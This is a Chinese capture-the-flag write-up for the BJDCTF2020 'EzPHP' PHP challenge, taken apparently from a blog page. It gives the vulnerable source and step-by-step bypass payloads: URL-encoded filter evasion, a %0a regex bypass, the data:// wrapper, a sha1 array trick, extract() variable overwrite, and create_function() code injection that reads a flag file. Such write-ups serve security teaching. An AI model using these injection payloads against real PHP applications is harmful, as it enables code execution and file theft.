[BJDCTF2020]EzPHP

解码:http://794983a5-f5dc-4a13-bc0b-ca7140ba23f3.node3.buuoj.cn/1nD3x.php

源代码:

 <?php
highlight_file(__FILE__);
error_reporting(0); $file = "1nD3x.php";
$shana = $_GET['shana'];
$passwd = $_GET['passwd'];
$arg = '';
$code = ''; echo "<br /><font color=red><B>This is a very simple challenge and if you solve it I will give you a flag. Good Luck!</B><br></font>"; if($_SERVER) {
if (
preg_match('/shana|debu|aqua|cute|arg|code|flag|system|exec|passwd|ass|eval|sort|shell|ob|start|mail|\$|sou|show|cont|high|reverse|flip|rand|scan|chr|local|sess|id|source|arra|head|light|read|inc|info|bin|hex|oct|echo|print|pi|\.|\"|\'|log/i', $_SERVER['QUERY_STRING'])
)
die('You seem to want to do something bad?');
} if (!preg_match('/http|https/i', $_GET['file'])) {
if (preg_match('/^aqua_is_cute$/', $_GET['debu']) && $_GET['debu'] !== 'aqua_is_cute') {
$file = $_GET["file"];
echo "Neeeeee! Good Job!<br>";
}
} else die('fxck you! What do you want to do ?!'); if($_REQUEST) {
foreach($_REQUEST as $value) {
if(preg_match('/[a-zA-Z]/i', $value))
die('fxck you! I hate English!');
}
} if (file_get_contents($file) !== 'debu_debu_aqua')
die("Aqua is the cutest five-year-old child in the world! Isn't it ?<br>"); if ( sha1($shana) === sha1($passwd) && $shana != $passwd ){
extract($_GET["flag"]);
echo "Very good! you know my password. But what is flag?<br>";
} else{
die("fxck you! you don't know my password! And you don't know sha1! why you come here!");
} if(preg_match('/^[a-z0-9]*$/isD', $code) ||
preg_match('/fil|cat|more|tail|tac|less|head|nl|tailf|ass|eval|sort|shell|ob|start|mail|\`|\{|\%|x|\&|\$|\*|\||\<|\"|\'|\=|\?|sou|show|cont|high|reverse|flip|rand|scan|chr|local|sess|id|source|arra|head|light|print|echo|read|inc|flag|1f|info|bin|hex|oct|pi|con|rot|input|\.|log|\^/i', $arg) ) {
die("<br />Neeeeee~! I have disabled all dangerous functions! You can't get my flag =w=");
} else {
include "flag.php";
$code('', $arg);
} ?>

关于第一处限制:

if($_SERVER) {
if (
preg_match('/shana|debu|aqua|cute|arg|code|flag|system|exec|passwd|ass|eval|sort|shell|ob|start|mail|\$|sou|show|cont|high|reverse|flip|rand|scan|chr|local|sess|id|source|arra|head|light|read|inc|info|bin|hex|oct|echo|print|pi|\.|\"|\'|log/i', $_SERVER['QUERY_STRING'])
)
die('You seem to want to do something bad?');
}

关于$_SERVER['QUERY_STRING'].他验证的时候是不会进行url解码的,但是在GET的时候则会进行url解码,所以我们只需要将关键词编码就能绕过。

关于第二处限制:

if (!preg_match('/http|https/i', $_GET['file'])) {
if (preg_match('/^aqua_is_cute$/', $_GET['debu']) && $_GET['debu'] !== 'aqua_is_cute') {
$file = $_GET["file"];
echo "Neeeeee! Good Job!<br>";
}
} else die('fxck you! What do you want to do ?!');

preg_match值匹配第一行,句尾加上%0a进行绕过,绕过preg_match主要有两种方法即换行符与PRCE回溯此处超出。

payload:dedu=aqua_is_cute%0a

关于第三处限制:

if($_REQUEST) {
foreach($_REQUEST as $value) {
if(preg_match('/[a-zA-Z]/i', $value))
die('fxck you! I hate English!');
}
}

$_REQUEST方式接收请求是存在优先级别的,如果同时接受GET和POST的数据,默认情况下POST具有优先权,所以只需要在get的同时post数字即可。

payload:POST:debu=1&file=1

关于第四处限制:

if (file_get_contents($file) !== 'debu_debu_aqua')
die("Aqua is the cutest five-year-old child in the world! Isn't it ?<br>");

这里利用data协议即可:file=data://text/plain,%64%65%62%75%5f%64%65%62%75%5f%61%71%75%61

与此同时file也需要被post一下。

关于第四处限制:

if ( sha1($shana) === sha1($passwd) && $shana != $passwd ){
extract($_GET["flag"]);
echo "Very good! you know my password. But what is flag?<br>";
} else{
die("fxck you! you don't know my password! And you don't know sha1! why you come here!");
}

这里利用数组进行一下绕过就可以了,因为当sha1()的参数为数组,此时就会返回false。

payload:

shana[]=1&passwd[]=2

关于第五处限制:

if(preg_match('/^[a-z0-9]*$/isD', $code) ||
preg_match('/fil|cat|more|tail|tac|less|head|nl|tailf|ass|eval|sort|shell|ob|start|mail|\`|\{|\%|x|\&|\$|\*|\||\<|\"|\'|\=|\?|sou|show|cont|high|reverse|flip|rand|scan|chr|local|sess|id|source|arra|head|light|print|echo|read|inc|flag|1f|info|bin|hex|oct|pi|con|rot|input|\.|log|\^/i', $arg) ) {
die("<br />Neeeeee~! I have disabled all dangerous functions! You can't get my flag =w=");
} else {
include "flag.php";
$code('', $arg);
} ?>

这里利用到了create_function()代码注入。

create_function()函数有两个参数$args和$code,用于创建一个lambda样式的函数

例如:$myfunc = create_function('$a, $b', 'return $a+$b;');

相当于:

function myfunc($a, $b){
return $a+$b;
}

与此同时当第二个参数无限制时:

$code=return $a+$b;}eval($_POST['cmd']);//

就会变成:

function myfunc($a, $b){
return $a+$b;
}
eval($_POST['cmd']);//}

看到这道题,在上一阶段sha1比较的过程中,extract($_GET["flag"]);这里我们可以进行变量覆盖,从而掌控住arg变量与code变量。

同时根据上面的介绍我们可以通过必和符号来执行自己定义的函数:

&flag[arg]=}a();//&flag[code]=create_function

拼接过后就应该是:

function {}a();//}

这样子了。

这个a我们是可以随时改成其他的函数的。

但是此时很多函数都被禁用了,文件中包含了flag这个文件,利用get_defined_vars()将所有变量与值都进行输出,此时payload就为:

flag[arg]=}var_dump(get_defined_vars());//&flag[code]=create_function

输出出来但还不是真正的flag,提示我们是在另一个文件里面,flag4.php,此时我们可以利用require,来代替include,利用base64编码绕过flag的过滤,利用require()来代替require" "。

payload:flag[arg]=}require(base64_decode(xxxxxxx));var_dump(get_defined_vars());//&flag[code]=create_function

非预期解:利用异或或者~进行取反操作。

最终payload:

GET:

http://794983a5-f5dc-4a13-bc0b-ca7140ba23f3.node3.buuoj.cn/1nD3x.php?%64%65%62%75=%61%71%75%61%5f%69%73%5f%63%75%74%65%0a&file=data://text/plain,%64%65%62%75%5f%64%65%62%75%5f%61%71%75%61&%73%68%61%6e%61[]=1&%70%61%73%73%77%64[]=2&%66%6c%61%67[%63%6f%64%65]=create_function&%66%6c%61%67[%61%72%67]=;}define(aaa,fopen(~(%8d%9a%9e%ce%99%93%cb%98%d1%8f%97%8f),r));while(!feof(aaa))var_dump(fgets(aaa));fclose(aaa);%23

POST:

debu=1&file=1

最新文章

  1. python基础知识8——模块1——自定义模块和第三方开源模块
  2. loop 循环和检测点 9.3
  3. TextBox禁止复制粘贴和数字验证,小数验证,汉字验证
  4. 推荐近期15个 Node.js 开发工具
  5. px和em区别-在font-size的 css 的使用
  6. asp.net mvc视图中嵌套分部视图
  7. C语言中的转义字符
  8. EasyUI之DataGrid使用
  9. [转] POJ图论入门
  10. IT项目管理工具总结(转载)
  11. C#直接插入排序
  12. Python3与Python2的区别汇总
  13. Flask 框架
  14. Thinkphp框架下PHPExcel实现Excel数据的批量化导入导出
  15. 安装SQL2008时显示:RebootRequiredCheck 检查是否需要挂起计算机重新启动。
  16. 使用struts框架后的404错误
  17. ASP.Net在web.config中设置上传文件的大小方法
  18. Android开发不可或缺的十大网站及工具
  19. Guava包学习---Bimap
  20. 【Lua】LWT后台用JSON与 ExtJS传递数据

热门文章

  1. selenium定位方法(一)
  2. 必看!2020最新黑马JAVA 学习路线
  3. 阿里面试竟如此轻松,2招带你过关斩将拿下offer
  4. smtplib文字邮件的发送
  5. OpenCV(Open Source Computer Vision Library)计算机视觉库
  6. CET-4 Word 计划表
  7. 【转】Mac下Eclipse快捷键
  8. Codeforces1365
  9. 记录call、apply、bind的源码
  10. ctf古典密码从0到